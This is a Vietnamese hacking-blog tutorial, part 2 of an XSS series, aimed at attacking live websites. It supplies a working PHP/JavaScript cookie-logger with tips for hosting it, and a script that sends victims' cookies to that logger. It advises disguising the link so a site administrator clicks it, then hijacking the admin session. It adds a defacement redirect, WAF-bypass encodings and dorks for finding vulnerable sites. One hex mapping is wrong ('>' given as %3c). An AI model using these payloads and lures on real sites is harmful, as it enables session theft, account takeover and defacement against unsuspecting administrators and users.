J2TEAM Security: A must-have extension for Chrome users. Install now!

[XSS] Bài 2: XSS Nâng cao và Bypass bộ lọc

Bây giờ, Trong phần này tôi sẽ chia sẻ một vài cách để sử dụng sự nguy hiểm của XSS một lần nữa với trang web.

Bây giờ, Trong phần này tôi sẽ chia sẻ một vài cách để sử dụng sự nguy hiểm của XSS một lần nữa với trang web. Nào, hãy giữ sự tập trung tất cả những tấn công sẽ gửi đến hệ thống, trang web, máy chủ và hãy cẩn thận, bạn có thể bị truy tố về những hành động này. Vì vậy, hãy luôn bảo vệ bản thân nếu bạn đang lập kế hoạch làm một cái gì đó độc hại đến trang web. Nếu bạn muốn thực hiện một cửa sổ pop hộp cảnh báo nhỏ, bạn không phải sử dụng một Proxy / VPN.

Cookie Stealing/Logging

Bây giờ,lấy trộm cookielà về những điều độc hại nhất mà chúng ta có thể làm với XSS- Không Liên Tục. Một cookie kẻ đánh cắp / logger, sẽ đăng nhập các tập tin cookie của người dùng truy cập trang vào một tài liệu nhất định. Cách dễ nhất để làm điều này, sẽ là một quá trình ba bước.

Trước tiên, bạn nên thiết lập một trang web. Cá nhân tôi tìm thấy http://www.000webhost.com/ tốt nhất cho mã tải lên độc hại, các chương trình, hoặc bất cứ điều gì khác. Vì vậy, hãy đăng ký ở đó.

Bây giờ, một khi bạn đã tạo ra trang web của bạn, hãy vào quản lý tập tin. Tạo một file mới. Hãy gọi nó là "CookieLog.txt". Để trống mã. Bây giờ, tạo ra một tập tin sau đó, đặt tên là "CookieLogger.php". Trong CookieLogger.php, chúng ta cần thêm một số mã, do đó nó sẽ gửi các tập tin cookie mà chúng ta đăng nhập, vào Đăng nhập Cookie của chúng tôi. Thêm mã này, vào nó (Chỉ cần chắc chắn rằng tên tập tin là php, hoặc người nào khác nó sẽ không chạy mã PHP (ISS server ...ect))
<?php
/*
* Created on 16. april. 2007 Được tạo ngày 16/8/2007
* Created by Audun Larsen (audun@munio.no)- Tác giả-
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
$fp=fopen('./CookieLog.txt', 'a');
fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

// ==
// URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
// web site you include a credit somewhere on the web site
// with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do...
var SAFECHARS = "0123456789" + // Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()"; // RFC2396 Mark characters
var HEX = "0123456789ABCDEF";

var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+"; // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character '"
+ ch
+ "' cannot be encoded using standard URL encoding.\n" +
"(URL encoding only supports 8-bit characters.)\n" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for

return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>
Bây giờ chúng ta có kịch bản Logger Cookie của chúng ta, chúng ta có thể gửi các logger cookie cho người bạn tốt nhất của chúng ta, Web-Admin. Để làm điều này, chúng ta có lẽ nên Tiny URL. Hoặc nếu bạn có thể tìm ra cách để Spoof URL, mà sẽ làm việc quá.

Tiny URL, đi đến http://www.spam.com/ và chỉ cần đặt trong URL. Nhưng , chúng ta cần thêm một kịch bản vào lỗ hổng XSS của chúng ta. Đây là kịch bản mà sẽ khởi động Cookie Logging của chúng ta
<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>
Chắc bạn cũng hiểu là cần thay đổi gì trong đoạn script trên phải không. Hãy thay đường dẫn đến link CookieLogger bằng link của bạn.

Vì vậy, chỉ cần thêm rằng kịch bản sau khi các URL,Sau đó gửi cho quản trị web của chúng ta bây giờ điều này có thể mất một thời gian cho ban quản trị để click vào nó. Bạn hãy tùy biến cách thức để nhà quản trị tin tưởng và click vào nó. Đôi khi, các quản trị sẽ ko click vào nó, vì vậy nếu nó mất quá nhiều thời gian, bạn chỉ nên từ bỏ và tìm một cách khác để khai thác nó.

Một khi bạn nhận được các cookie, bạn có thể sử dụng "Cookie Manager" của Firefox addon để thao tác và chỉnh sửa các tập tin cookie để bạn có thể chiếm quyền điều khiển phiên quản trị viên. Tôi thấy Cookie Manager là một ứng dụng rất hữu ích cho XSS, hãy tải nó về.


DEFACING

Defacing là một trong những điều phổ biến nhất mọi người muốn làm khi họ có quyền truy cập cho nhiều tùy chọn quản trị viên. Chủ yếu là để họ có thể quảng cáo cho bản thân, và chỉ đơn giản là cho phép người quản trị biết rằng an ninh của họ đã bị vi phạm. Bất cứ cách nào, defacing với XSS liên tục, có thể là một box bình luận, hoặc một cái gì đó. Bạn có thể sử dụng kịch bản để tạo lại trực tiếp đến trang của bạn thay đổi (Bạn có thể phải chuyển hướng thay đổi nội của bạn trên Pastehtml.com, bởi vì nó tải lên.một cách dễ dàng)
<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

XSS: onmouseover

Onmousover không phải là một lỗ hổng khai thác. Nhưng nó vẫn được coi là XSS. Một lỗ hổng onmouseover sẽ giống như thế này:
onmouseover=prompt1337
Chúng ta có thể khai thác nó bằng cách chỉnh sửa
onmouseover=alert("XSS")
Một lỗi rất cơ bản, nhưng nó nhận được cảnh báo, và các thành phần trong các trang web rất nhiều. Hầu hết các trang web sẽ sử dụng Adobe Flash hay CSS để làm những loại hiệu ứng.
XSS bypass bộ lọc
Đôi khi một truy vấn XSS đơn giản sẽ không làm việc. Lý do truy vấn của bạn không làm việc, là bởi vì trang web có một bộ WAF hoặc lọc tại chỗ. Một bộ lọc sẽ chặn như XSS và các truy vấn SQLi. Trong trường hợp này, chúng ta đang làm việc với XSS.

Có rất nhiều cách để bỏ qua các bộ lọc XSS, nhưng tôi sẽ chỉ giải thích một vài trường hợp.

1. Hex Bypassing

Với các char bị chặn như >, <, và /, nó là khá khó khăn để thực hiện một truy vấn XSS. Không phải lo lắng, luôn luôn là một giải pháp. Bạn có thể thay đổi các ký tự của bạn, vào Hex. Hex của một char nào đó, về cơ bản là các char, nhưng trong một định dạng khác nhau. Những điều này sẽ giúp bạn vượt qua:


> = %3c
< = %3c
/ = %2f2.

ASCII Bypassing

Với một mã hóa ASCII, chúng ta có thể sử dụng các char "bị chặn bộ lọc chặn tốt! Đây là một trong những bộ lọc XSS phổ biến nhất qua mọi thời đại Một kịch bản mà bạn sẽ cần để mã hóa, sẽ giống như thế này...:
Đây là đoạn mã không làm việc ---->
<script>alert("XSS")</script>
Còn đây... Nó đã làm việc:
<script>alert(String.fromCharCode(88,83,83))</script>
Để mã hóa bạn hãy truy cập wocares.com/noquote.php Tôi dùng trang này, và tìm thấy nhiều thứ khá hữu dụng.

3.Case-Sensitive Bypassing

Loại bộ lọc này ít khi thấy, nhưng nó luôn luôn giá trị . Một số bộ lọc được thiết lập tại chỗ để phát hiện những đoạn viết, tuy nhiên, các bộ lọc của chuỗi bị chặn là trường hợp nhạy cảm. Vì vậy, tất cả chúng ta cần phải làm, là thực hiện một kịch bản, với các kiểu chữ hoa thường khác nhau . Điều này sẽ vượt qua bộ lọc, giống như dưới đây:
<ScRiPt>aLeRt("XSS")</ScRiPt>
Bạn cũng có thể kết hợp với mã hóa ASCII nếu bạn muốn. Hãy biến tấu nó thật linh hoạt.
Một vài Từ khóa cho lỗi XSS

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
Những dork này là cơ bản. Tôi ít khi dùng dork và với hướng dẫn này bạn koneen sử dụng dork. XSS là 1 lỗ hổng rất phổ biến ngay cả google, tôi đã tìm thấy một số.

Cuối cùng cảm ơn bạn đã đọc vui lòng phản hồi những ý kiến tại đây và nói cảm ơn nếu bạn thấy thích thú với hướng dẫn này của tôi.

Đọc phần 3 tại: https://junookyo.blogspot.com/2011/12/xss-bai-3-thuc-hanh-voi-xss-wargame.html
Leader at J2TEAM. Website: https://j2team.dev/

4 nhận xét

  1. cảm ơn bạn vì những tài liệu
    đã giúp ích cho mình rất nhiều.?
    nhưng đôi khi mình không hiểu.
    bạn cần lên có video demo theo mỗi bài viết thì sẽ rẽ hiểu hơn.
    1. Mình đã post nhiều Video Tutorial, Demo về XSS trên Blog rồi bạn à ;)
    2. Bạn ơi video của bạn ở đâu vậy? cho mình xin link được ko:)
    3. Chào Dung Thùy, bạn có thể tìm tại đây:
      http://junookyo.blogspot.com/search/label/XSS
Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!